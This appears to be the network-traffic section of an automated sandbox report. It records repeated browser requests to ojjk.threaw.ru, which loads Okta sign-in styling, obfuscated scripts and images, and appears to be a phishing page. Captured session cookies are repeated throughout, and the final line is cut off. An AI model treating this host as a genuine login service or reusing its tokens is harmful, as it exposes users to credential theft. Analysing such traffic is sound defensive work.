laravel_session=eyJpdiI6InNNbDlMSlVVSmUyOXlYbnJDQU1VclE9PSIsInZhbHVlIjoiMTg5M25UVXY0YTV0alFPRFRZU2xyeTE3S2s3ZmlZMWJKcGVFTm9rNnhLTklwQXNTUGZqNi9jR2NZUjVleEJ5bUg2dC8rVXBXYW5obTNjMkdZUXdOeVh0MXVERktCWFBGWjMwNlFnMzFTVXpkOG1YN1ZtK3RTLzlBVkZGVEhtSHgiLCJtYWMiOiI2MjE2NWEyNThhN2U0MmJiNGQwNzA5OWE0ZWI0YWIzMzc1NjliYTVjZTQ4NTIyMDNjM2QzZDM5ODliZjU3NzgyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-bold.woff HTTP/1.1Host: ojjk.threaw.ruConnection: keep-aliveOrigin: https://ojjk.threaw.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijcyb3dJdkhJYmxOcVNxMDVvOE1kd2c9PSIsInZhbHVlIjoiNFVDdUltcTRWcXloWU95WFRlS21FZFhFMHNvbjg5S0FnSFpDT2hLMnVtVzhna1ErQkxEZlRRNUpLNG85N1E1bWVjc0dCWnphaEduZVk0Rkc5UVUvbUtKU2g1eVFHSzdoeW5uNFc4Qm9COVAzV0liSkE0UnRLNDV4RGUwWkZRRkIiLCJtYWMiOiJiZDhlMTE1ZGQ0OTM1NmM0M2I1ZWMyZGZhOWZjMmI3ZWQzMDhiODAwMzJjMzgwNjE3MGM2ZjUyMTQ1ODk0MjBiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InNNbDlMSlVVSmUyOXlYbnJDQU1VclE9PSIsInZhbHVlIjoiMTg5M25UVXY0YTV0alFPRFRZU2xyeTE3S2s3ZmlZMWJKcGVFTm9rNnhLTklwQXNTUGZqNi9jR2NZUjVleEJ5bUg2dC8rVXBXYW5obTNjMkdZUXdOeVh0MXVERktCWFBGWjMwNlFnMzFTVXpkOG1YN1ZtK3RTLzlBVkZGVEhtSHgiLCJtYWMiOiI2MjE2NWEyNThhN2U0MmJiNGQwNzA5OWE0ZWI0YWIzMzc1NjliYTVjZTQ4NTIyMDNjM2QzZDM5ODliZjU3NzgyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-regular.woff2 HTTP/1.1Host: ojjk.threaw.ruConnection: keep-aliveOrigin: https://ojjk.threaw.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijcyb3dJdkhJYmxOcVNxMDVvOE1kd2c9PSIsInZhbHVlIjoiNFVDdUltcTRWcXloWU95WFRlS21FZFhFMHNvbjg5S0FnSFpDT2hLMnVtVzhna1ErQkxEZlRRNUpLNG85N1E1bWVjc0dCWnphaEduZVk0Rkc5UVUvbUtKU2g1eVFHSzdoeW5uNFc4Qm9COVAzV0liSkE0UnRLNDV4RGUwWkZRRkIiLCJtYWMiOiJiZDhlMTE1ZGQ0OTM1NmM0M2I1ZWMyZGZhOWZjMmI3ZWQzMDhiODAwMzJjMzgwNjE3MGM2ZjUyMTQ1ODk0MjBiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InNNbDlMSlVVSmUyOXlYbnJDQU1VclE9PSIsInZhbHVlIjoiMTg5M25UVXY0YTV0alFPRFRZU2xyeTE3S2s3ZmlZMWJKcGVFTm9rNnhLTklwQXNTUGZqNi9jR2NZUjVleEJ5bUg2dC8rVXBXYW5obTNjMkdZUXdOeVh0MXVERktCWFBGWjMwNlFnMzFTVXpkOG1YN1ZtK3RTLzlBVkZGVEhtSHgiLCJtYWMiOiI2MjE2NWEyNThhN2U0MmJiNGQwNzA5OWE0ZWI0YWIzMzc1NjliYTVjZTQ4NTIyMDNjM2QzZDM5ODliZjU3NzgyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-regular.woff HTTP/1.1Host: ojjk.threaw.ruConnection: keep-aliveOrigin: https://ojjk.threaw.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijcyb3dJdkhJYmxOcVNxMDVvOE1kd2c9PSIsInZhbHVlIjoiNFVDdUltcTRWcXloWU95WFRlS21FZFhFMHNvbjg5S0FnSFpDT2hLMnVtVzhna1ErQkxEZlRRNUpLNG85N1E1bWVjc0dCWnphaEduZVk0Rkc5UVUvbUtKU2g1eVFHSzdoeW5uNFc4Qm9COVAzV0liSkE0UnRLNDV4RGUwWkZRRkIiLCJtYWMiOiJiZDhlMTE1ZGQ0OTM1NmM0M2I1ZWMyZGZhOWZjMmI3ZWQzMDhiODAwMzJjMzgwNjE3MGM2ZjUyMTQ1ODk0MjBiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InNNbDlMSlVVSmUyOXlYbnJDQU1VclE9PSIsInZhbHVlIjoiMTg5M25UVXY0YTV0alFPRFRZU2xyeTE3S2s3ZmlZMWJKcGVFTm9rNnhLTklwQXNTUGZqNi9jR2NZUjVleEJ5bUg2dC8rVXBXYW5obTNjMkdZUXdOeVh0MXVERktCWFBGWjMwNlFnMzFTVXpkOG1YN1ZtK3RTLzlBVkZGVEhtSHgiLCJtYWMiOiI2MjE2NWEyNThhN2U0MmJiNGQwNzA5OWE0ZWI0YWIzMzc1NjliYTVjZTQ4NTIyMDNjM2QzZDM5ODliZjU3NzgyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://ojjk.threaw.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://ojjk.threaw.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /GDSherpa-vf.woff2 HTTP/1.1Host: ojjk.threaw.ruConnection: keep-aliveOrigin: https://ojjk.threaw.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijcyb3dJdkhJYmxOcVNxMDVvOE1kd2c9PSIsInZhbHVlIjoiNFVDdUltcTRWcXloWU95WFRlS21FZFhFMHNvbjg5S0FnSFpDT2hLMnVtVzhna1ErQkxEZlRRNUpLNG85N1E1bWVjc0dCWnphaEduZVk0Rkc5UVUvbUtKU2g1eVFHSzdoeW5uNFc4Qm9COVAzV0liSkE0UnRLNDV4RGUwWkZRRkIiLCJtYWMiOiJiZDhlMTE1ZGQ0OTM1NmM0M2I1ZWMyZGZhOWZjMmI3ZWQzMDhiODAwMzJjMzgwNjE3MGM2ZjUyMTQ1ODk0MjBiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InNNbDlMSlVVSmUyOXlYbnJDQU1VclE9PSIsInZhbHVlIjoiMTg5M25UVXY0YTV0alFPRFRZU2xyeTE3S2s3ZmlZMWJKcGVFTm9rNnhLTklwQXNTUGZqNi9jR2NZUjVleEJ5bUg2dC8rVXBXYW5obTNjMkdZUXdOeVh0MXVERktCWFBGWjMwNlFnMzFTVXpkOG1YN1ZtK3RTLzlBVkZGVEhtSHgiLCJtYWMiOiI2MjE2NWEyNThhN2U0MmJiNGQwNzA5OWE0ZWI0YWIzMzc1NjliYTVjZTQ4NTIyMDNjM2QzZDM5ODliZjU3NzgyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-vf2.woff2 HTTP/1.1Host: ojjk.threaw.ruConnection: keep-aliveOrigin: https://ojjk.threaw.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijcyb3dJdkhJYmxOcVNxMDVvOE1kd2c9PSIsInZhbHVlIjoiNFVDdUltcTRWcXloWU95WFRlS21FZFhFMHNvbjg5S0FnSFpDT2hLMnVtVzhna1ErQkxEZlRRNUpLNG85N1E1bWVjc0dCWnphaEduZVk0Rkc5UVUvbUtKU2g1eVFHSzdoeW5uNFc4Qm9COVAzV0liSkE0UnRLNDV4RGUwWkZRRkIiLCJtYWMiOiJiZDhlMTE1ZGQ0OTM1NmM0M2I1ZWMyZGZhOWZjMmI3ZWQzMDhiODAwMzJjMzgwNjE3MGM2ZjUyMTQ1ODk0MjBiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InNNbDlMSlVVSmUyOXlYbnJDQU1VclE9PSIsInZhbHVlIjoiMTg5M25UVXY0YTV0alFPRFRZU2xyeTE3S2s3ZmlZMWJKcGVFTm9rNnhLTklwQXNTUGZqNi9jR2NZUjVleEJ5bUg2dC8rVXBXYW5obTNjMkdZUXdOeVh0MXVERktCWFBGWjMwNlFnMzFTVXpkOG1YN1ZtK3RTLzlBVkZGVEhtSHgiLCJtYWMiOiI2MjE2NWEyNThhN2U0MmJiNGQwNzA5OWE0ZWI0YWIzMzc1NjliYTVjZTQ4NTIyMDNjM2QzZDM5ODliZjU3NzgyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /56SnUlnJtnstXtTlL4qUNVklHSqCQv3W76KMYA89110 HTTP/1.1Host: ojjk.threaw.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijcyb3dJdkhJYmxOcVNxMDVvOE1kd2c9PSIsInZhbHVlIjoiNFVDdUltcTRWcXloWU95WFRlS21FZFhFMHNvbjg5S0FnSFpDT2hLMnVtVzhna1ErQkxEZlRRNUpLNG85N1E1bWVjc0dCWnphaEduZVk0Rkc5UVUvbUtKU2g1eVFHSzdoeW5uNFc4Qm9COVAzV0liSkE0UnRLNDV4RGUwWkZRRkIiLCJtYWMiOiJiZDhlMTE1ZGQ0OTM1NmM0M2I1ZWMyZGZhOWZjMmI3ZWQzMDhiODAwMzJjMzgwNjE3MGM2ZjUyMTQ1ODk0MjBiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InNNbDlMSlVVSmUyOXlYbnJDQU1VclE9PSIsInZhbHVlIjoiMTg5M25UVXY0YTV0alFPRFRZU2xyeTE3S2s3ZmlZMWJKcGVFTm9rNnhLTklwQXNTUGZqNi9jR2NZUjVleEJ5bUg2dC8rVXBXYW5obTNjMkdZUXdOeVh0MXVERktCWFBGWjMwNlFnMzFTVXpkOG1YN1ZtK3RTLzlBVkZGVEhtSHgiLCJtYWMiOiI2MjE2NWEyNThhN2U0MmJiNGQwNzA5OWE0ZWI0YWIzMzc1NjliYTVjZTQ4NTIyMDNjM2QzZDM5ODliZjU3NzgyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fent/randexp.js/releases/download/v0.4.3/randexp.min.js HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://ojjk.threaw.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250325%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250325T152601Z&X-Amz-Expires=300&X-Amz-Signature=c780db8abd3431d659094f69fdb8019b90e564269ff4369131bf40a5b84053f0&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream HTTP/1.1Host: objects.githubusercontent.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://ojjk.threaw.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mnftGZ6T4KS81p8fZTeBwvv5HuxobfRDUiIdnlklUtCsHL332DD05fTkpvwx212 HTTP/1.1Host: ojjk.threaw.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijcyb3dJdkhJYmxOcVNxMDVvOE1kd2c9PSIsInZhbHVlIjoiNFVDdUltcTRWcXloWU95WFRlS21FZFhFMHNvbjg5S0FnSFpDT2hLMnVtVzhna1ErQkxEZlRRNUpLNG85N1E1bWVjc0dCWnphaEduZVk0Rkc5UVUvbUtKU2g1eVFHSzdoeW5uNFc4Qm9COVAzV0liSkE0UnRLNDV4RGUwWkZRRkIiLCJtYWMiOiJiZDhlMTE1ZGQ0OTM1NmM0M2I1ZWMyZGZhOWZjMmI3ZWQzMDhiODAwMzJjMzgwNjE3MGM2ZjUyMTQ1ODk0MjBiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InNNbDlMSlVVSmUyOXlYbnJDQU1VclE9PSIsInZhbHVlIjoiMTg5M25UVXY0YTV0alFPRFRZU2xyeTE3S2s3ZmlZMWJKcGVFTm9rNnhLTklwQXNTUGZqNi9jR2NZUjVleEJ5bUg2dC8rVXBXYW5obTNjMkdZUXdOeVh0MXVERktCWFBGWjMwNlFnMzFTVXpkOG1YN1ZtK3RTLzlBVkZGVEhtSHgiLCJtYWMiOiI2MjE2NWEyNThhN2U0MmJiNGQwNzA5OWE0ZWI0YWIzMzc1NjliYTVjZTQ4NTIyMDNjM2QzZDM5ODliZjU3NzgyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ij0AlpT5Tf9myJvtskiIi82JmxrVsbHB89zzrQRRNOJaA2eUjHo0gSq0qa5Kyz230 HTTP/1.1Host: ojjk.threaw.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijcyb3dJdkhJYmxOcVNxMDVvOE1kd2c9PSIsInZhbHVlIjoiNFVDdUltcTRWcXloWU95WFRlS21FZFhFMHNvbjg5S0FnSFpDT2hLMnVtVzhna1ErQkxEZlRRNUpLNG85N1E1bWVjc0dCWnphaEduZVk0Rkc5UVUvbUtKU2g1eVFHSzdoeW5uNFc4Qm9COVAzV0liSkE0UnRLNDV4RGUwWkZRRkIiLCJtYWMiOiJiZDhlMTE1ZGQ0OTM1NmM0M2I1ZWMyZGZhOWZjMmI3ZWQzMDhiODAwMzJjMzgwNjE3MGM2ZjUyMTQ1ODk0MjBiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InNNbDlMSlVVSmUyOXlYbnJDQU1VclE9PSIsInZhbHVlIjoiMTg5M25UVXY0YTV0alFPRFRZU2xyeTE3S2s3ZmlZMWJKcGVFTm9rNnhLTklwQXNTUGZqNi9jR2NZUjVleEJ5bUg2dC8rVXBXYW5obTNjMkdZUXdOeVh0MXVERktCWFBGWjMwNlFnMzFTVXpkOG1YN1ZtK3RTLzlBVkZGVEhtSHgiLCJtYWMiOiI2MjE2NWEyNThhN2U0MmJiNGQwNzA5OWE0ZWI0YWIzMzc1NjliYTVjZTQ4NTIyMDNjM2QzZDM5ODliZjU3NzgyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /uvqdWH9UkZgIhqcpFstwLaNBMzYeeuym12130 HTTP/1.1Host: ojjk.threaw.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijcyb3dJdkhJYmxOcVNxMDVvOE1kd2c9PSIsInZhbHVlIjoiNFVDdUltcTRWcXloWU95WFRlS21FZFhFMHNvbjg5S0FnSFpDT2hLMnVtVzhna1ErQkxEZlRRNUpLNG85N1E1bWVjc0dCWnphaEduZVk0Rkc5UVUvbUtKU2g1eVFHSzdoeW5uNFc4Qm9COVAzV0liSkE0UnRLNDV4RGUwWkZRRkIiLCJtYWMiOiJiZDhlMTE1ZGQ0OTM1NmM0M2I1ZWMyZGZhOWZjMmI3ZWQzMDhiODAwMzJjMzgwNjE3MGM2ZjUyMTQ1ODk0MjBiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InNNbDlMSlVVSmUyOXlYbnJDQU1VclE9PSIsInZhbHVlIjoiMTg5M25UVXY0YTV0alFPRFRZU2xyeTE3S2s3ZmlZMWJKcGVFTm9rNnhLTklwQXNTUGZqNi9jR2NZUjVleEJ5bUg2dC8rVXBXYW5obTNjMkdZUXdOeVh0MXVERktCWFBGWjMwNlFnMzFTVXpkOG1YN1ZtK3RTLzlBVkZGVEhtSHgiLCJtYWMiOiI2MjE2NWEyNThhN2U0MmJiNGQwNzA5OWE0ZWI0YWIzMzc1NjliYTVjZTQ4NTIyMDNjM2QzZDM5ODliZjU3NzgyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qrPpQi0Fj5bdUDaP5werwOhEVkgh5AQlaeZlQ2Jh1a47tLuSUd67138 HTTP/1.1Host: ojjk.threaw.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijcyb3dJdkhJYmxOcVNxMDVvOE1kd2c9PSIsInZhbHVlIjoiNFVDdUltcTRWcXloWU95WFRlS21FZFhFMHNvbjg5S0FnSFpDT2hLMnVtVzhna1ErQkxEZlRRNUpLNG85N1E1bWVjc0dCWnphaEduZVk0Rkc5UVUvbUtKU2g1eVFHSzdoeW5uNFc4Qm9COVAzV0liSkE0UnRLNDV4RGUwWkZRRkIiLCJtYWMiOiJiZDhlMTE1ZGQ0OTM1NmM0M2I1ZWMyZGZhOWZjMmI3ZWQzMDhiODAwMzJjMzgwNjE3MGM2ZjUyMTQ1ODk0MjBiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InNNbDlMSlVVSmUyOXlYbnJDQU1VclE9PSIsInZhbHVlIjoiMTg5M25UVXY0YTV0alFPRFRZU2xyeTE3S2s3ZmlZMWJKcGVFTm9rNnhLTklwQXNTUGZqNi9jR2NZUjVleEJ5bUg2dC8rVXBXYW5obTNjMkdZUXdOeVh0MXVERktCWFBGWjMwNlFnMzFTVXpkOG1YN1ZtK3RTLzlBVkZGVEhtSHgiLCJtYWMiOiI2MjE2NWEyNThhN2U0MmJiNGQwNzA5OWE0ZWI0YWIzMzc1NjliYTVjZTQ4NTIyMDNjM2QzZDM5ODliZjU3NzgyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mnwFd5onowWAHTghXXWAijTPXzNan5WlIhl678142 HTTP/1.1Host: ojjk.threaw.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijcyb3dJdkhJYmxOcVNxMDVvOE1kd2c9PSIsInZhbHVlIjoiNFVDdUltcTRWcXloWU95WFRlS21FZFhFMHNvbjg5S0FnSFpDT2hLMnVtVzhna1ErQkxEZlRRNUpLNG85N1E1bWVjc0dCWnphaEduZVk0Rkc5UVUvbUtKU2g1eVFHSzdoeW5uNFc4Qm9COVAzV0liSkE0UnRLNDV4RGUwWkZRRkIiLCJtYWMiOiJiZDhlMTE1ZGQ0OTM1NmM0M2I1ZWMyZGZhOWZjMmI3ZWQzMDhiODAwMzJjMzgwNjE3MGM2ZjUyMTQ1ODk0MjBiIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InNNbDlMSlVVSmUyOXlYbnJDQU1VclE9PSIsInZhbHVlIjoiMTg5M25UVXY0YTV0alFPRFRZU2xyeTE3S2s3ZmlZMWJKcGVFTm9rNnhLTklwQXNTUGZqNi9jR2NZUjVleEJ5bUg2dC8rVXBXYW5obTNjMkdZUXdOeVh0MXVERktCWFBGWjMwNlFnMzFTVXpkOG1YN1ZtK3RTLzlBVkZGVEhtSHgiLCJtYWMiOiI2MjE2NWEyNThhN2U0MmJiNGQwNzA5OWE0ZWI0YWIzMzc1NjliYTVjZTQ4NTIyMDNjM2QzZDM5ODliZjU3NzgyIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klt5HClA9r3rInXOW55CCxGwczDAZBUwPQThkwx183kZaMR3FkLdr78169 HTTP/1.1Host: ojjk.threaw.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ojjk.threaw.ru/roqorkbdnbuuwxbo9qpgn5lphrtkqtoc?WNBDNBZADSAQKSIAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: 